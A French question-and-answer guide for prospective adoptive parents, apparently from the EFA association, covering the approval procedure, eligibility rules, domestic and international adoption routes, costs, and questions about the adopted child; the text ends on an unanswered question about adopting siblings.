Mémento

  

1. Réflexions générales sur l’adoption

  

L’adoption est un choix réciproque !

C’est la rencontre de deux attentes : celle d’un enfant sans famille et celle d’une famille prête à l’aimer. C’est faire d’un enfant que l’on n’a pas conçu son fils ou sa fille. Dans l’histoire de ces 2 attentes, l’adoption a pour objectif premier de répondre au besoin de l’enfant en lui donnant des parents. Les liens entre les parents et leurs enfants adoptifs sont les mêmes que les liens dis « biologiques ». La seule différence concerne le mode d’arrivée dans la famille. La filiation adoptive est une filiation totale. Elle engage les parents et les enfants à vie et fait entrer les enfants dans une lignée.

Y a-t-il beaucoup d’enfants sans famille dans le monde ?

Nul ne le sait et les mesures divergent mais sûrement plusieurs millions d’enfants. Tous ne sont cependant pas adoptables : les lois, les coutumes, les habitudes, l’âge, l’apparence physique, les problèmes de santé, la désocialisation… font que beaucoup ne peuvent pas trouver de famille.

L’abandon précède l’adoption

Ces deux démarches apparemment contradictoires sont intimement liées. L’une précède l’autre. La première est toujours douloureuse… et pour longtemps. Le geste ne peut être bien compris qu’en tenant compte de différentes contraintes socioculturelles, politiques, environnementales, économiques, culturelles ou individuelles. La deuxième est plus positive, porteuse de « devenir ».Certains des traits de caractère et des besoins de l’enfant abandonné sont directement liés à la cicatrice qu’il porte en lui. La démarche d’adoption suppose de rester vigilent et notamment de :

  • ne pas dénier la blessure d’abandon
  • comprendre la possible honte d’avoir été abandonné et de s’en sentir coupable
  • accepter la colère qui peut exprimer la douleur de la perte
  • admettre les pensées vers la famille de naissance et reconnaître le besoin de savoir la vérité sur sa conception, sa naissance, sa famille biologique
  • comprendre la peur d’être de nouveau abandonné
  • reconnaître les différences avec les parents adoptifs…

Quels sont les chiffres de l’adoption en France ?

Chaque année, près de 5 000 enfants sont adoptés et 8 000 agréments nouveaux sont délivrés. De ce fait, actuellement 23 000 titulaires d’un agrément sont en attente. Plus des 3/4 des enfants adoptés viennent de l’étranger, majoritairement par des démarches individuelles.

Quelles sont les motivations pour adopter ?

Elles diffèrent d’une situation à une autre et sont susceptibles d’évoluer en cours de projet. L’infertilité constitue sans doute la première motivation mais n’est pas la seule. Rappelons que :

  • Tout enfant a droit à une famille mais il n’existe aucun « droit » à devenir parent : les services sociaux cherchent le meilleur foyer possible pour les enfants, ils ne sont par là pour aider des parents potentiels à trouver un enfant,
  • L’enfant adopté n’est pas une thérapie pour un couple qui s’effrite ou un(e) célibataire esseulé(e), une béquille pour un couple handicapé ou bâton de vieillesse de parents trop âgés : il a déjà suffisamment à porter avec sa propre histoire,
  • Adopter n’est pas une bonne action : c’est un choix de vie. On n’adopte pas pour se donner bonne conscience, pour cela, on se tourne vers l’action humanitaire ou le parrainage,
  • L’enfant adopté ne vient pas remplacer l’enfant que l’on n’a pas eu « naturellement » : l’enfant adopté a besoin que ses parents aient fait leur deuil de l’enfant biologique.

Pourquoi parle-t-on de « deuil de l’enfant biologique » ?

C’est un processus indispensable pour les adoptants qui rencontrent des problèmes de fertilité et les célibataires, en ce sens que l’adoption n’est pas un « second choix », c’est un autre projet. Il faut accepter que l’enfant qui vient ne ressemble pas à celui que l’on avait imaginé. Même si un couple se sent apte mener de concert traitement médical et projet d’adoption.,Quels sont les pays concernés par l’adoption ?De plus en plus de pays pauvres s’ouvrent à l’adoption internationale : une dizaine dans les années 70, pour une soixantaine de nos jours pour les adoptions françaises. La liste des pays ouverts est fluctuante. On constate ces dernières années que de plus en plus de pays souhaitent confier en priorité les enfants à leurs ressortissants.

Adopter, est-ce une action humanitaire ?

Non, les adoptants sont parents avant d’être militants. Adopter un enfant pour le sauver de la misère, ce serait prendre le risque de le regarder toujours comme un rescapé et ne pas fonder un véritable lien familial. Construire une famille, c’est pour les parents, le plaisir d’accompagner un enfant tout au long de sa vie afin qu’il se construise lui-même et qu’il se sente le mieux possible.

Adopter, n’est-ce pas arracher un enfant à son pays ?

Grandir sans parent et sans amour, n’est-ce pas pire qu’être « arraché » à son pays ? Adopter n’est pas arracher un enfant à son pays : c’est lui donner des parents hors de son pays d’origine parce qu’aucune solution n’a été trouvée pour lui dans son pays de naissance ; c’est l’ultime recours pour l’enfant. Ainsi, est-il mieux pour un enfant de préserver son identité culturelle même au prix d’hypothéquer à tout jamais sa santé, son équilibre émotif et social et toute chance de devenir un être heureux ? Notre langue, notre culture, notre mode de vie, notre pays même ne sont nôtres que parce que nous sommes baignés en leur sein. Ce n’est en rien héréditaire.

Existe-t-il des « adoptions réussies » ?

Oui ! Le plus souvent, l’adoption crée des familles heureuses, avec les mêmes joies et les mêmes problèmes que pour les autres familles. Simplement, les parents et les enfants doivent, en plus, faire avec des interrogations, des souffrances liées au passé, souvent inconnues, de l’enfant adopté. Les difficultés sont les mêmes que pour les familles « biologiques » : des enfants qui n’ont jamais aimé leurs parents, qui ont « mal tourné » à l’adolescence, des parents qui n’ont jamais « réussi » à aimer leurs enfants, qui ont été dépassés par la découverte d’un handicap, d’une maladie, ou tout simplement qui n’ont jamais été satisfaits de ce que sont devenus leurs enfants. Comme dit l’adage : on parle plus des trains qui ne sont pas à l’heure que des autres !

Les enfants adoptés veulent-ils retrouver leurs « vrais parents » ?

Les « vrais parents » sont ceux qui aiment leur enfant au quotidien : cela n’a rien à voir avec un quelconque lien biologique. Il n’y a pas des « vrais parents » qui seraient biologiques et d’autres, qui seraient de simples parents de substitution. La question des origines est une question fondamentale. Tous les enfants ont le droit de savoir qu’ils ont été adoptés mais tous ne cherchent pas à retrouver leurs parents de naissance, ni même à savoir dans quelles conditions ils sont nés. En revanche, tous s’interrogent sur le passé, avec plus ou moins d’intensité. Cette recherche se passe d’autant mieux que les parents adoptifs acceptent ces interrogations et accompagnent l’enfant dans ses démarches. Une telle recherche ne met pas en cause le lien d’amour qui aura été tissé des années durant entre parents et enfant. La mise en place du CNAOP apporte – du moins, actuellement, pour les enfants nés en France – une réponse institutionnelle. Cette interrogation peut revenir à différents âges, au fur et à mesure de la construction de l’identité de l’enfant.

Dois-je parler de mon projet à mon entourage ?

La réponse est propre à chaque postulant. Le projet d’adoption est celui des parents, pas celui de tout l’entourage : il faut savoir, parfois, se prémunir des « conseils » de personnes mal informées ou mal intentionnées.

  • La famille élargie (les grands-parents, les oncles et tantes…) est, elle aussi, concernée par l’arrivée de l’enfant adopté. L’accueil d’un enfant d’ethnie différente ou malade peut entraîner des questions, des doutes ou oppositions. Leur rôle sera important dans la construction de l’enfant.
  • Les amis de la famille sont importants pour l’intégration de l’enfant et il importe de prendre conscience de ceux qui l’accueilleront de bon cœur l’enfant et ceux qui, par leurs propos racistes, xénophobes ou hostiles à l’adoption, pourraient lui nuire.

  

2. Les démarches

  

L’agrément : un sésame obligatoire et une exigence légitime

Que l’on veuille adopter un enfant en France ou à l’étranger, il faut commencer par faire une demande d’agrément auprès du Conseil Général du département de résidence. Cet agrément est valable cinq ans, dans toute la France. Il vise à s’assurer que la famille postulante offre les capacités familiales, éducatives et psychologiques nécessaires à l’accueil d’un enfant déjà né. L’agrément est accordé dans un délai de neuf mois après la formulation de la demande, par le Président du Conseil Général après avis d’une commission dont la composition est fixée par voie réglementaire. Avant la décision, il convient de prendre connaissance du contenu du dossier dans les 2 semaines précédant la commission d’agrément, de faire part de vos éventuelles observations et d’assister à cette commission. Ensuite, les candidats à l’adoption peuvent déposer une demande pour adopter un pupille de l’État en France et/ou déposer des dossiers pour adopter un enfant à l’étranger.A noter : Les adoption intrafamiliales (enfant du conjoint, neveu…) et les assistantes maternelles qui souhaitent adopter l’enfant en famille d’accueil sont dispensées d’agrément.

Que dois-je faire en cas de difficulté dans la démarche d’agrément ?

Vous pouvez demander que tout ou partie des investigations soient accomplies une seconde fois et par d’autres personnes que celles auxquelles elles avaient été confiées initialement. En cas de refus d’agrément, vous pouvez faire un recours :

  • amiable auprès du Président du Conseil Général, dans un délai de 2 mois. Ce recours vise à demander de modifier ou d’annuler la décision prise
  • contentieux devant le Tribunal administratif, dans un délai de 2 mois. Ce recours est gratuit et n’exige pas l’assistance d’un avocat, il consiste à rédiger un mémoire écrit
  • en appel de la décision du Tribunal administratif. Cette solution est déconseillée. Après un refus d’agrément, un délai de trente mois est nécessaire avant de déposer une nouvelle demande.

Qui peut adopter ?

  • deux époux mariés depuis plus de deux ans
  • ou âgés l’un et l’autre de plus de 28 ans, ou toute personne (homme ou femme) âgée de plus de 28 ans. La présence d’enfants au foyer ne constitue pas un obstacle juridique.

Ce sont la les conditions de la loi française, il faudra ensuite prendre en compte les lois des pays d’origine de l’enfant.

Quelles sont les conditions d’âge ?

La loi n’a pas prévu de limite supérieure d’âge à l’adoption, mais il y a parfois des refus de conseils de famille ou de certains pays de confier un nourrisson à des parents ayant plus de quarante ans. Il est important de prévoir l’avenir : quel âge aurez-vous quand votre enfant aura vingt ans ? Il est donc réaliste, après quarante ans, de prévoir l’adoption d’un enfant plus âgé. Les jeunes couples n’ont donc pas à attendre bien longtemps pour être en mesure d’adopter (+ 28 ans ou 2 ans de mariage). Les très jeunes célibataires auront du mal à adopter : leurs interlocuteurs leur conseilleront presque systématiquement d’attendre une éventuelle vie de couple pour proposer un cadre de vie stable à un enfant. Les parents doivent avoir au moins 15 ans de plus que l’enfant.

Je suis célibataire

L’adoption est possible mais plus difficile. Les obstacles sont multiples :

  • seul(e)s soutiens de leur enfant, les célibataires devront convaincre les services sociaux de leur solidité et le Conseil de famille de les préférer à des couples, dont les candidatures ne manquent pas ; des possibilités peuvent néanmoins exister dans certains départements, en particulier pour des fratries, des enfants grands ou des enfants dits « à particularité », pour lesquels il est parfois difficile de trouver des familles.
  • la principale voie possible reste l’adoption internationale ; mais le nombre de pays acceptant leurs candidatures est restreint et la concurrence des couples mariés importante. Les célibataires doivent donc faire preuve de persévérance et de dynamisme pour persuader un interlocuteur lointain qu’elles ou ils sont LE parent aimant et disponible pour un enfant. Notons enfin que la plupart des pays n’acceptent pas les candidatures de célibataires hommes.

Nous ne sommes pas mariés

La loi interdit l’adoption par plusieurs personnes, si ce n’est par deux époux et la Convention de La Haye, n’autorise l’adoption que par des couples mariés et des personnes célibataires. Donc, l’adoption ne pourra être réalisée que par l’un des concubins comme pour un célibataire. La situation est encore plus complexe pour les pacsés, car le Pacs apparaît sur l’extrait de naissance, ce qui signifie qu’aux yeux de nombreux pays, vous n’êtes ni célibataires, ni mariés : cela vous exclut de l’adoption dans presque tous les pays. Cela ne signifie pas que l’adoption est résolument impossible, mais le parcours sera extrêmement difficile et incertain.Il faut quand même garder en mémoire que dans la pratique très peu de pays acceptent les célibataires et que cette condition risque encore de se durcir dans l’avenir. Il appartient donc à chacun de se déterminer sachant qu’entre le dépôt d’un dossier d’agrément et l’arrivée d’un enfant il s’écoule en moyenne 2,5 ans voire plus. Si, bien sur, un pays demande 5 ans de mariage… c’est plus difficile.

Je suis homosexuel(le)

Un couple d’homosexuel(le)s ne peut adopter, eu égard au fait que la loi interdit l’adoption par plusieurs personnes, « si ce n’est par deux époux ». Cela ne signifie pas qu’une personne homosexuelle ne peut absolument pas adopter, mais cette homosexualité peut lui être opposée comme néfaste à la bonne intégration de l’enfant. Il y a une préférence constatée pour les familles « traditionnelles » de peur que les enfants, qui souffrent déjà de leur passé et qui peuvent avoir des problèmes d’identité, ne parviennent pas à gérer sereinement cette difficulté supplémentaire.

J’ai déjà des enfants

Ce n’est pas un obstacle juridique mais l’enquête sociale s’assurera néanmoins que les enfants sont ou seront impliqués dans le projet. En revanche, les Conseils de famille et certains OAA préfèrent confier les enfants qu’ils ont en charge à des foyers qui n’en ont pas. Certains pays étrangers excluent même de confier des enfants à des familles qui en ont déjà.Certaines familles seront amenées, lors de l’enquête sociale, à réfléchir sur l’accueil d’enfants plus grands, ou d’enfants dits « à particularité ». L’avis des enfants déjà présents pourra être pris en compte. Enfin, les parents doivent réfléchir à la place de l’enfant dans la fratrie, si la chronologie des naissances venait à être bousculée.

Pourquoi certaines personnes ont-elles tant de mal à adopter ?

L’adoption est un long parcours. En cours de route, certains se découragent ou bien se rendent compte qu’ils font fausse route. D’autres encore se sentent mis à l’écart (âge, situation de famille, religion, niveau de vie,…). C’est d’autant plus difficile à accepter que la situation n’est pas toujours choisie. Mais la personne qui fait l’apparentement peut légitimement penser qu’elle donne plus de chance à ces enfants en proposant une autre famille, les candidats étant plus nombreux que les adoptables. On note de plus que les demandes d’adoptants français portent souvent sur des enfants jeunes, voire bébés alors que les enfants qui sont proposés à l’adoption internationale sont de plus en plus grands, les bébés étant souvent adoptés dans le pays même,

Quelle est la procédure pour adopter un enfant pupille de l’Etat ?

Les postulants qui ont obtenu leur agrément doivent signaler à l’ASE (de leur département ou d’un autre département français) leur souhait de postuler pour adopter un pupille de l’État. Cette demande doit être confirmée tous les ans (certains se tournent vers l’adoption internationale et d’autres renoncent à l’adoption : il est important que les responsables puissent travailler sur des dossiers à jour). Le Conseil de famille départemental doit, dans les plus brefs délais, faire un projet d’adoption pour tout enfant adoptable et choisir la famille qui va l’accueillir. Dès qu’un enfant est déclaré adoptable, le Conseil de famille examine donc plusieurs dossiers de postulants à l’adoption. Dans les cas délicats (fratrie, handicap), le Conseil de Famille élargit souvent ses recherches de candidats à d’autres départements et à d’autres partenaires institutionnels ou non.

Faut-il relancer l’ASE régulièrement ?

Il est judicieux de téléphoner une fois par an au service de l’ASE pour prendre des nouvelles de l’avancement de son dossier et manifester son intérêt. Mais des relances trop fréquentes, voire des interventions « politiques », gênent inutilement le fonctionnement du service. La confirmation annuelle de la demande se fera par écrit, de même que toute modification concernant le projet d’adoption.

Les Conseils de famille écartent-ils certaines candidatures ?

Il y a plus de postulants que d’enfants : le Conseil de famille choisit de préférence des couples (plutôt que des célibataires) jeunes (plutôt que des couples âgés), notamment quand il s’agit de trouver une famille pour un nourrisson. L’adoption étant une démarche pour trouver des parents à un enfant, et non l’inverse, cela semble logique. On peut également noter que les parents ayant des enfants ne sont généralement pas prioritaires. Par honnêteté, l’ASE informe généralement les candidats qui ont peu de chances de se voir attribuer un enfant, pour qu’ils n’attendent pas en vain. En revanche, pour des enfants plus grands, des enfants « à particularité », pour les fratries aussi, il y a moins de candidatures et les chances d’aboutir sont donc plus grandes.

Peut-on adopter en France en passant par un OAA ?

Quelques OAA recueillent des enfants en France, mais ils ont très peu d’enfants à confier en adoption (une dizaine par an) : La famille adoptive française, Les Nids de Paris, Lumière des enfants, La Cause. D’autres proposent des enfants à particularité : Chemin de vie, Emmanuel, Notre-Dame des tout-petits, Vivre en famille.

Pourquoi est-il si difficile d’adopter en France ?

… parce qu’adopter n’est pas si simple ! La procédure requiert patience et persévérance, ce que les candidats dans l’ensemble, comprennent bien. De plus, le nombre d’enfants adoptables en France a tendance à diminuer alors que celui des candidats augmente. Par ailleurs, on assiste dans de nombreux pays au développement de l’adoption nationale, naturellement privilégiée. Il n’en reste pas moins que de nombreux enfants sont en attente de parents : enfants grands, avec problème de santé, handicapés, fratrie… : il est erroné de croire qu’il n’y a pas d’enfants à adopter en France.

Comment procède-t-on pour adopter à l’étranger ?

Chaque Etat fixe lui-même ses procédures, dans le respect des textes internationaux.Une fois titulaires de l’agrément, les candidats à l’adoption peuvent choisir leur démarche :

  • Pour un pays ayant ratifié la Convention de La Haye: une démarche individuelle en lien avec l’Agence Française de l’Adoption ou une démarche accompagnée avec un Organisme français autorisé pour l’Adoption (O.A.A.)
  • Pour un pays n’ayant pas ratifié la Convention de La Haye: une démarche individuelle en lien avec l’Agence Française de l’Adoption, une démarche accompagnée avec un O.A.A. ou une démarche strictement individuelle en se tournant directement vers l’étranger.
  • Pour la démarche individuelle vers un pays non signataire de la Convention de La Haye, les demandeurs entrent directement en contact avec les autorités compétentes dans le pays, ou avec un orphelinat du pays, ou avec une personne autorisée (avocat, par exemple) ; quand un apparentement est réalisé ils doivent en informer la MAI (Mission de l’adoption Internationale). Lorsque le dossier est accepté, l’apparentement peut être réalisé par les autorités étrangères qui proposent l’enfant aux adoptants. Le délai entre l’acceptation du dossier par le pays d’origine et la proposition d’enfant est variable (de 18 mois à 4 ans). Dans tous les cas il est essentiel d’être certain de l’état civil, du consentement à l’adoption et de l’histoire de l’enfant pour prendre une décision éthique et adaptée dans le cadre du projet des adoptants.
  • Pour la démarche accompagnée avec un OAA (Organisme agréé pour l’adoption), qui entretient des liens privilégiés avec 1 ou plusieurs pays, les OAA se chargent de la procédure, qui débouchera sur l’accueil de l’enfant (attention, les OAA ne peuvent pas répondre à toutes les demandes).
  • Pour la démarche individuelle en lien avec l’Agence Française de l’Adoption (AFA), il faut noter que l’AFA est autorisée comme intermédiaire pour l’adoption de mineurs étrangers de 15 ans, pour l’ensemble des départements français et l’ensemble des pays ayant accepté la Convention de la Haye de 1993 ainsi que pour les pays où elle est habilitée (notamment lorsque ces pays interdisent l’adoption individuelle). L’AFA, dont les services sont gratuits, ne sélectionne pas les dossiers des candidats à l’adoption, dès lors qu’ils correspondent aux exigences législatives françaises et des pays d’origine. Elle ne peut pas garantir qu’une proposition d’enfant sera faite par le pays d’origine.

Les quatre grands principes de la Convention de La Haye

  • L’intérêt supérieur de l’enfant doit être la considération primordiale.
  • L’adoption internationale ne peut être envisagée qu’à défaut de solution nationale dans l’État d’origine de l’enfant.
  • Les candidats à l’adoption doivent d’abord s’adresser à l’autorité centrale, ou à des organismes dûment agréés dans l’État de leur résidence habituelle, qui se chargeront de transmettre leur dossier.
  • La prohibition de tout profit indu est affirmée à plusieurs reprises.

Puis-je entreprendre plusieurs démarches simultanément ?

Entreprendre oui, mais il faudra un moment choisir quand les premières démarches aboutiront. L’agrément ne limite pas le projet à un seul pays (en revanche, l’enquête sociale peut apporter des précisions). Il est possible de mener de front plusieurs démarches : c’est même recommandé, de façon à éviter de mauvaises surprises (fermeture du pays par exemple). Pensez à prévenir dès que vos démarches aboutiront, de manière à ne pas mobiliser inutilement un orphelinat ou des personnes que vous sollicitez, et surtout à ne pas susciter de faux espoirs chez un enfant à qui l’on annoncerait un apparentement qui ne se ferait finalement pas (il risquerait même, pendant ce temps, de perdre l’opportunité de trouver une famille).

Combien de temps faut-il pour adopter ?

Il n’y a pas de durée définie : tout dépend du projet. Il faut plus de temps pour un enfant petit que pour un enfant grand. La durée moyenne d’attente est de deux ans pour les adoptions internationales (le délai dépend beaucoup de la dynamique des postulants), de 4 ans pour l’adoption en France, voire cinq ans pour un bébé dans certains départements. En revanche, des enfants, parce qu’ils sont grands, malades, handicapés ou en fratrie attendent une famille. Mais leur accueil ne peut se faire qu’après y avoir mûrement réfléchi et s’être préparé aux difficultés de ce type de projet. Un seul délai est défini : l’ASE doit délivrer l’agrément dans un délai de neuf mois après la demande.

Qui confie les enfants à l’adoption ?

À l’étranger comme en France, les enfants sont remis à leur future famille, en vue d’adoption, soit par les services de l’ASE, soit par un OAA habilité à recueillir provisoirement des enfants, soit par une autorité étrangère (orphelinat, juge, aide sociale à l’enfance…).

Qu’est-ce que l’apparentement ?

L’apparentement est le cheminement qui conduit un enfant privé de sa famille vers des adultes susceptibles de devenir ses parents adoptifs. Il est de plus en plus rare que des futurs parents se voient offrir le choix parmi un grand nombre d’enfants. C’est presque toujours aux travailleurs sociaux, Conseil de Famille, OAA ou orphelinats que revient la tâche délicate de l’apparentement. Les adoptants se voient proposer le dossier de l’enfant pressenti. La qualité du travail de ces intermédiaires dépend en partie des circonstances : réussir un apparentement est plus facile pour un psychologue de l’ASE, qui rencontre parents et enfant autant de fois qu’il le souhaite, que pour quelqu’un qui doit décider à partir de dossier. Quelles que soient les précautions prises, il n’existe pas de méthode miracle pour réaliser un apparentement, cependant, généralement, on peut dire que « cela fonctionne ».

Qui prononce les adoptions ?

Pour les enfants adoptés en France, c’est le tribunal d’instance qui prononce l’adoption. Pour les enfants adoptés à l’étranger, c’est :

  • un tribunal étranger, si le jugement est reconnu en France en vertu d’accords internationaux (il suffit alors d’une simple transcription à l’état civil de Nantes),
  • un tribunal français si l’apparentement s’est fait par une décision administrative ou si le jugement prononcé par un tribunal étranger n’est pas reconnu en France.

Combien coûte une adoption ?

L’argent est tabou. Même dans une démarche faite en toute légalité l’adoption a un coût. Certes, l’agrément est gratuit, ainsi que le jugement d’adoption : un enfant n’est pas une marchandise. En revanche, l’adoption à l’étranger entraîne des frais conséquents et justifiés : traduction, légalisation, remboursement des frais médicaux et des frais d’entretien de l’enfant depuis sa prise en charge par les services sociaux, voyages et séjours éventuels des parents dans le pays d’origine et de l’enfant vers la France, dons à l’OAA ou à l’orphelinat …Les cas de figure sont variables et dépendent de chaque démarche ou chaque OAA mais le chiffre de 12 000 € est généralement retenu comme minimum pour une adoption à l’étranger, il peut aller jusqu’à 17 000 €, ce qui interroge sur la possibilité effective pour toute famille d’adopter. L’un des avantages de l’adoption par un OAA est que le coût de l’adoption est annoncé d’emblée, il est visible sur chaque site consacrée à un OAA

Existe-t-il des aides à l’adoption internationale ?

Le Conseil général des Côtes d’Armor a décidé d’octroyer une aide financière aux personnes qui adoptent un enfant étranger. Cette aide est un prêt sans intérêt d’un montant maximum de 3 050 €, accordé sous conditions de ressources et en fonction des dépenses engagées pour la réalisation du projet. Pour en bénéficier, il faut obligatoirement que l’enfant soit confié par un intermédiaire français ou étranger autorisé pour l’adoption. L’aide est versée après l’arrivée de l’enfant au foyer des adoptants.

Adoption simple / adoption plénière

Les 2 cas confient l’autorité parentale. L’adoption plénière crée un lien irrévocable, l’enfant porte le nom de ses parents adoptifs, acquiert automatiquement la nationalité française si ses parents adoptifs sont français et a le même statut et les mêmes droits qu’un enfant qui aurait été conçu et mis au monde par eux. Il y a rupture avec la famille d’origine. C’est 85 % des adoptions. L’adoption simple crée un lien qui s’ajoute à la filiation d’origine. L’adoptant exerce les droits de l’autorité parentale et ajoute son nom à celui de l’adopté. L’adoption simple est révocable, à la demande de l’adoptant ou de l’adopté.

Faut-il changer de prénom ?

Cela dépend de vous et de l’enfant et de la façon dont il s’est construit avec son prénom de naissance. Le prénom peut être modifié lors du jugement, pour faciliter l’intégration sociale et familiale. Il peut être raccourci, francisé. Quel que soit votre choix, il est important de respecter le prénom d’origine de l’enfant et d’en conserver la trace. En tout état de cause, en droit, le changement de prénom de l’enfant n’est pas automatique, mais peut être décidé par le tribunal sur demande des parents.

Comment contacter ERF ?

ERF (Enfance en Recherche de Familles) intervient dans le cas d’enfants pupilles de l’État, âgés de 0 à 15 ans, ou des enfants signalés par des organismes autorisés, en France ou à l’étranger, pour lequel le projet d’adoption rencontre des difficultés.

  • Contact : Enfants en Recherche de Famille, EFA 221 rue La Fayette 75010 Paris – Tel. 01 40 05 57 78 – erf.efa@adoptionefa

ERF oriente vers le correspondant le plus proche qui vous remet un formulaire à remplir et à retourner, accompagné d’une copie de l’agrément et des rapports de l’enquête sociale et psychologique. L’orientation des candidatures s’effectuera en fonction des situations d’enfants signalés par les organismes concernés.

  

3. L’enfant

  

Quel enfant peut-on adopter ?

En France, on peut adopter :

  • les pupilles de l’État : enfants sans filiation connue ou établie, enfants remis à la naissance après accouchement secret, orphelins, enfants trouvés…,
  • les enfants judiciairement abandonnés (article 350 du code civil),
  • les enfants dont les père et mère ou le Conseil de famille ont consenti à l’adoption (parents décédés, parents déchus de l’autorité parentale). Ces enfants adoptables sont placés sous la tutelle de l’État, suivis par le Conseil de famille mais accompagnés et placés provisoirement en foyers ou en familles d’accueil par l’Aide sociale à l’enfance (ASE).

Il est indispensable de s’assurer, avant tout projet d’adoption internationale, que les lois du pays de l’enfant ne sont pas incompatibles avec les lois françaises (les enfants des pays musulmans ne peuvent être adoptés en France car leur propre loi interdit l’adoption)

Quel est le délai de rétractation des parents de naissance ?

En France, les parents de naissance qui remettent leur enfant à un service de l’ASE ou à un OAA disposent d’un délai de deux mois pour revenir sur leur décision : c’est le délai de rétractation. C’est pourquoi le placement en vue d’adoption d’un enfant est impossible avant que celui-ci ait atteint l’âge de deux mois.

Vais-je aimer l’enfant que je vais adopter ?

Le sentiment maternel et paternel est une chose très mystérieuse. Les parents qui mettent leur enfant au monde présentent déjà une grande variété de perceptions : la parentalité immédiate ou une grande indifférence. Il en est de même pour les parents qui adoptent leur enfant. Néanmoins, il est important, au moment de l’apparentement, de s’assurer que la décision que l’on prend est conforme à ses souhaits et à ses aptitudes.

Puis-je choisir l’enfant que je vais adopter ?

Il est important d’avoir un projet concernant l’enfant : nouveau-né ou enfant grand, européen ou origine africaine, enfant en bonne santé ou porteur d’une maladie ou présentant un handicap, etc.. Les services sociaux, les OAA, les familles ayant déjà adopté aident à définir les contours de ce projet : âge, sexe, pays ou l’ethnie d’origine, état de santé… Mais il faut aussi savoir que l’enfant parfait n’existe pas. Il faut donc partir avec un projet réaliste et en conformité avec ses capacités, et ne jamais agir à contrecœur

Vaut-il mieux adopter un tout-petit ?

Il est légitime que de nombreux parents désirent « pouponner ». Mais un enfant, même petit, est marqué par ce qu’il a déjà vécu intra utéro, par les conditions de l’accouchement et les jours qui ont suivi, les conditions de l’abandon. L’adoption concerne de moins en moins de bébés et de plus en plus d’enfants grands. En France, les conseils de familles ont peu de nourrissons à placer (environ 500 par an). À l’étranger aussi, il y a de moins en moins de bébés à adopter.

Comment se passe l’adoption d’un enfant grand ?

L’expérience montre que l’adoption d’un enfant plus grand se passe très bien dès que parents et enfant(s) y ont été bien préparés. Un accompagnement de la famille, par un psychologue, un travailleur social ou au sein d’un groupe de parents, s’avère parfois souhaitable. Chercher à se faire soutenir est tout aussi normal que se tourner vers un médecin quand on éprouve des inquiétudes sur la santé de notre enfant.

Puis-je choisir d’adopter un garçon ou une fille ?

Comme tous les parents, les parents adoptifs peuvent, avant l’arrivée de l’enfant, désirer un garçon ou une fille et en faire part aux travailleurs sociaux ou aux OAA avec lesquels ils sont en contact en vue d’une adoption. Il s’agit simplement d’un souhait personnel qui, comme tous les autres, mérite d’être revisité pour ne pas enfermer son projet dans le rêve de l’enfant idéal.

Qu’implique le fait d’adopter un enfant « de couleur » ?

EFA réunit des parents ayant des enfants de toutes origines et de « toutes les couleurs » Chacun faisant son chemin, elle considère ce point comme une affaire de sensibilité personnelle. Nous estimons cependant qu’il est dangereux de forcer ses sentiments que ce soit en France ou à l’étranger. L’amour n’a pas de couleur mais les adoptants doivent s’imaginer, un jour, parents d’un adulte différent d’eux. Il faut être prêt à affronter le regard des autres et à faire face au problème du racisme. À noter :

  • L’ASE accompagne les parents dans leur choix : ce n’est pas le cas pour la plupart des OAA. Cependant le Conseil de Famille peut être réservé face à une candidature trop restrictive, même s’il s’agit de confier un enfant blanc.
  • Avant de s’orienter vers l’adoption internationale, les postulants ont intérêt à s’informer précisément sur la réalité ethnique des pays : métissage évolutif avec l’âge, bébés cambodgiens ou indiens au teint très foncé…
  • Les réunions familiales d’EFA sont profitables pour tous les adoptants et les adoptés « de couleur » qui peuvent vérifier qu’ils ne sont pas des exceptions.

Qu’appelle-t-on un enfant à particularité ?

La dénomination est maladroite, car tous les enfants ont leurs particularités. Un enfant grand et/ou avec un problème de santé, victime de violences physiques ou sexuelles, mais aussi des enfants en fratrie sont qualifiés d’enfants « à particularité ».A noter : Les postulants prêts à adopter des enfants « à particularités » ont intérêt à déposer une demande dans plusieurs départements et s’adresser à ERF qui fait un travail essentiel, en tenant à jour une liste de parents potentiels et en proposant des familles aux différentes ASE.

Comment réfléchir à l’accueil d’un enfant malade ou handicapé ?

La famille doit tenir compte de ses capacités matérielles et de la présence d’équipements adaptés à proximité. La famille doit également envisager les changements que cela peut entraîner dans son mode de vie (renoncer à certaines activités, déménager pour se rapprocher d’une structure spécialisée…), la réaction que pourront avoir les enfants déjà présents au foyer (qui peuvent accepter facilement l’idée, moins facilement la réalité), l’entourage familial ou amical… Et, dans tous les cas, les familles ne doivent pas avoir de scrupules à exprimer leurs limites : ce n’est pas la même chose d’adopter un enfant malentendant et un enfant trisomique. Il faut aussi avoir à l’esprit qu’une particularité peut en cacher une autre, masquée volontairement ou non. Les postulants peuvent se faire accompagner, dans l’élaboration de leur projet, par un médecin et/ou un psychologue, par les travailleurs sociaux, par ERF mais aussi par des familles qui vivent une situation similaire (réunions EFA ).

L’enfant adopté est-il un enfant comme les autres ?

Oui… ou presque :

  • sur le plan juridique, l’adoption crée une filiation définitive et totale. L’adoption plénière crée une filiation absolument égale à la filiation biologique.
  • sur le plan affectif, les sentiments sont absolument identiques à condition que le projet ait été bien préparé lors de l’agrément. Les échecs d’adoption sont généralement dus à une mauvaise préparation.
  • Cependant, l’enfant, s’il est un enfant comme les autres, est aussi un enfant différent, avec son passé et sa souffrance liée à l’abandon, même si cela a eu lieu quand il était nouveau-né.

Les enfants adoptés sont-ils nos « vrais enfants » ?

Oui, bien sûr. Y-a-t’il de « faux enfants » ? Le désir d’enfant est le même que l’on adopte ou que l’on met un enfant au monde. Les parents qui ont des enfants « biologiques » et des enfants adoptés en témoignent. Les adoptés déclarent généralement que le « vrai » frère, c’est celui qui a vécu toutes ces années avec lui : celui que d’autres considèrent « seulement » comme son frère adoptif.

Peut-on adopter plusieurs enfants en une seule fois ?

Oui mais des travailleurs sociaux sont parfois réticents à cette idée (hors fratrie) au motif que chaque enfant doit être accueilli pleinement en prenant le temps de nouer des liens avec ses nouveaux parents. Un enfant adopté arrive avec son histoire et ses difficultés : cela peut prendre l’allure d’une épreuve pour les parents : pleurs, mutisme, opposition ou, au contraire, refus d’être laissé un seul instant, besoin de régresser, de se faire materner, porter. Les postulants qui ont le projet d’accueillir plusieurs enfants peuvent avoir intérêt à procéder par étape, en adoptant un 1er enfant puis en demandant un nouvel agrément.

Peut-on adopter une fratrie ?

